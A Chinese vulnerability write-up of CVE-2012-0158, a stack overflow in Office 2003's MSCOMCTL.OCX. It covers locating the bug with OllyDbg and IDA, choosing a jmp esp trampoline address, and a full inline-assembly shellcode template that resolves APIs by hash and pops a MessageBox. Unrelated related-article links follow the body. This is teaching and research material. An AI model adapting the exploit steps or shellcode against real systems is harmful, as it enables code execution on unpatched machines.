4 CVE-2012-0158 漏洞分析
操作系统:Windows7 32位 专业版
Office:2003sp3_20120218.exe
工具:OD和IDA
1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆栈缓冲区溢出。
2漏洞分析:
1.获取poc:
网络下载
2.漏洞复现
安装office2003 sp3
直接运行poc样本,观察程序的运行状态,通过Windows反馈信息可知,此漏洞是典型的栈溢出型漏洞。

使用OD进行附加:

因为栈的结构如下图,所以通过对poc栈分析,下部的栈已经被破坏,上部的栈是程序出现问题的运势状态。

向上栈回述找到如下地址:

重新进行附加,对此函数进行分析,定位漏洞产生的位置:

在此时函数所在的模块,通过OD快捷键:Alt+E查找对应模块


将MSCOMCTL.OCX加载进IDA,对call MSCOMCTL.275C876D漏洞产生函数分析:

由上可知此漏洞的产生,是因为对栈检测时没有设定上限导致的,所以漏洞的修补就是对是否进行内存拷贝的判断时,小于判断即可
通过对OD动态调试:

通过对poc进行010分析,因为poc是需要对漏洞进行利用,而275C876D是漏洞产生的函数,静态分析可知,第三个参数是申请的内存空间的大小,根据ShellCode的编写需要内存空间进行存储,所以,直接在poc的010中搜索8282,即可定位到自定义缓冲区位置

3漏洞利用:
Shellcode:
1. 在运行的程序中寻找跳板指令地址:
Jmp esp
使用 ImmunityDebugger+mona.py
!mona modules

因为此模块位系统模块且各种保护位false

选择可读可执行的 jmp esp 地址:0x729a0535
2. 编写通用ShellCode的思路:
以简单的MessageBox为例:
1.获取Kernel32.dll 基地址
2.获取GetProcAddress 函数地址
3.获取LoadLibraryExA 函数地址
4.调用LoadLibraryExA 获取user32.dll基地址
5.调用GetProcAddress 获取MessageBoxA 函数地址
6.传参调用MessageBoxA
7.调用GetProcAddress,获取ExitProcess函数地址
8.传参调用ExitProcess
为缩短ShellCode的通过获取API Hash值进行匹对完成
/* 通过对APIHASH值的匹对行进获取 */
DWORD GetHash(char *fun_name)
{
DWORD digest = ;
while (*fun_name)
{
digest = ((digest << ) | (digest >> )); // 实现了digest的循环右移7位(或循环左移25位)
digest += *fun_name;
fun_name++;
}
return digest;
}
int main()
{
_asm
{
// 将所要使用的函数的hash值入栈
cld // 清空标志位DF
push 0x1e380a6a // MessageBoxA的Hash值
push 0x4fd18963 // ExitProcess的Hash值
push 0x0c917432 // LoadLibraryA的Hash值
mov esi, esp // 令esi指向栈顶位置,此时指向堆栈中存放的LoadLibrary
lea edi, [esi - 0xc]// 后面利用edi的值来调用不同的函数 // 开辟栈空间
xor ebx, ebx // ebx置0
mov bh, 0x04 // 此时ebx为0x400
sub esp, ebx // 开辟0x400大小的空间 // 压入“user32.dll”
mov bx, 0x3233 // 0x3和0x2 倒叙存储
push ebx // 入栈
push 0x72657375 // “user”入栈
push esp
xor edx, edx // edx置0 // 查找kernel32.dll的基地址
mov ebx, fs:[edx + 0x30] // [TEB+0x30]是PEB的位置
mov ecx, [ebx + 0xc] // [PEB+0xc]是PEB_LDR_DATA的位置
mov ecx, [ecx + 0x1c] // [PEB_LDR_DATA+0x1c]是InInitializationOrderModuleList
mov ecx, [ecx] // 进入链表第一个就是ntdll.dll
mov ebp, [ecx + 0x8] // ebp保存的是Kernel32.dll的基地址 find_lib_function :
lodsd
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较
jne find_functions // 如果不相等,继续查找
xchg eax, ebp
call[edi - 0x8]
xchg eax, ebp // 在PE文件中查找相应的API函数
find_functions :
pushad // 保护所有寄存器中的内容
mov eax, [ebp + 0x30] // PE头
mov ecx, [ebp + eax + 0x78]// 导出表的指针
add ecx, ebp
mov ebx, [ecx + 0x20] // 导出函数的名字列表
add ebx, ebp
xor edi, edi // edi置0 // 循环读取导出表函数
next_function_loop :
inc edi // edi不断自增,作为索引
mov esi, [ebx + edi*] // 从列表数组中读取
add esi, ebp // esi保存的是函数名所在的地址
cdq // 把edx的每一个位置成eax的最高位,再把edx扩展位eax的高位,变成64位 // hash值的计算
hash_loop :
movsx eax, byte ptr[esi] // 每次取出一个字符放入eax中
cmp al, ah // 验证eax是否为0x0,即结束符
jz compare_hash // 如果上述结果为0,说明hash值计算完毕进行hash比对
ror edx, // 如果cmp的结果不为0,则进行循环右移7为的操作
add edx, eax // 将循环右移的值不断累加
inc esi // esi自增,用于读取下一个字符
jmp hash_loop // 跳转到hash_loop的位置继续计算 // hash值的比较
compare_hash :
cmp edx, [esp + 0x1c] // 与LoadLibraryA的hash值进行比较
jnz next_function_loop // 如果比较不成功,继续寻找导出表的下一个函数
mov ebx, [ecx + 0x24]
add ebx, ebp
mov di, [ebx + * edi]
mov ebx, [ecx + 0x1c]
add ebx, ebp
add ebp, [ebx + * edi]
xchg eax, ebp
pop edi
push edi
popad // 还原所有寄存器内容
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较 // 主函数内容,用于显示对话框
function_call:
xor ebx, ebx
sub esp, 0x50
xor ebx, ebx
push ebx // cut string
push 0x48656c6c // push "hell"
mov eax, esp
push ebx // cut string
push 0x576f726c // push "worl"
mov ecx, esp push ebx
push eax
push ecx
push ebx
mov eax, 0x77d507ea
call eax // call MessageBox
push ebx
mov eax, 0x7c81cafa
call eax // call ExitProcess
}
return ;
}
4总结:
1. 栈数据被当成代码执行
2. 想要通用的shellcode就需要动态获取kernel32.dll,解析kernel32.dll的导出表获取API
3. 漏洞的利用:覆盖函数返回地址,jmp esp跳转
4. 从编程角度理解思考漏洞的成因并防范
4 CVE-2012-0158 漏洞分析的更多相关文章
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- 看个AV也中招之cve-2010-2553漏洞分析
试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- CVE-2014-1767 漏洞分析(2015.1)
CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)
不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- CVE-2010-3971 CSS内存破坏漏洞分析
看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...
随机推荐
- [20190522]How to get dump or list parameters set at session level.txt
[20190522]How to get dump or list parameters set at session level.txt 1.环境:SCOTT@book> @ ver1PORT ...
- tcp粘包、解决粘包问题
目录 subproess模块 TCP粘包问题 粘包两种情况 解决粘包问题 struct模块的使用 使用struct模块解决粘包 优化解决粘包问题 上传大文件 服务端 客户端 UDP协议 upd套接字 ...
- (办公)vue下载excel,后台用post方法
后台方法的参数必须是@RequestBody修饰的. 前台关键代码: axios ( { method : 'post', url : api.exportPlayTime , // 请求地址 dat ...
- CodeForces - 1244D (思维+暴力)
题意 https://vjudge.net/problem/CodeForces-1244D 有一棵树,有3种颜色,第i个节点染成第j种颜色的代价是c(i,j),现在要你求出一种染色方案,使得总代价最 ...
- pyquery解析库
这一篇整理一下pyquery这个解析库.还是菜,若有错误的地方,欢迎大家随时指正.......(come on.......) pyquery:是一个css选择器,再使用时,也需要传入HTML文本来初 ...
- C++ class内的=重载,拷贝赋值函数copy op=,重载示例。必须是class内
#include <iostream> // overloading "operator = " inside class // = 是一元操作符.不写,编译器会提供 ...
- ICCV2019《KPConv: Flexible and Deformable Convolution for Point Clouds》
针对semantic3D数据集: 1.数据集准备: Semantic3D dataset can be found <a href="http://www.semantic3d.net ...
- 小垃圾myl的课后实践
#include<iostream> #include<cstdio> using namespace std; int main(){ ,flag=; printf(&quo ...
- java8 LinkedHashMap 原理
LinkedHashMap 原理 基于jdk1.8 HashMap原理:http://www.cnblogs.com/zhaojj/p/7805376.html LinkedHashMap 继承Has ...
- 生活点滴:java基础知识细化
生活点滴:java基础知识细化 一.前言 越是对一门语言深入了解,就会发现自己不知道的东西越多,这才是走向了正道,同样的,对于java语言特性的学习,笔者也只是初窥门径. 二.java基础知识思考 i ...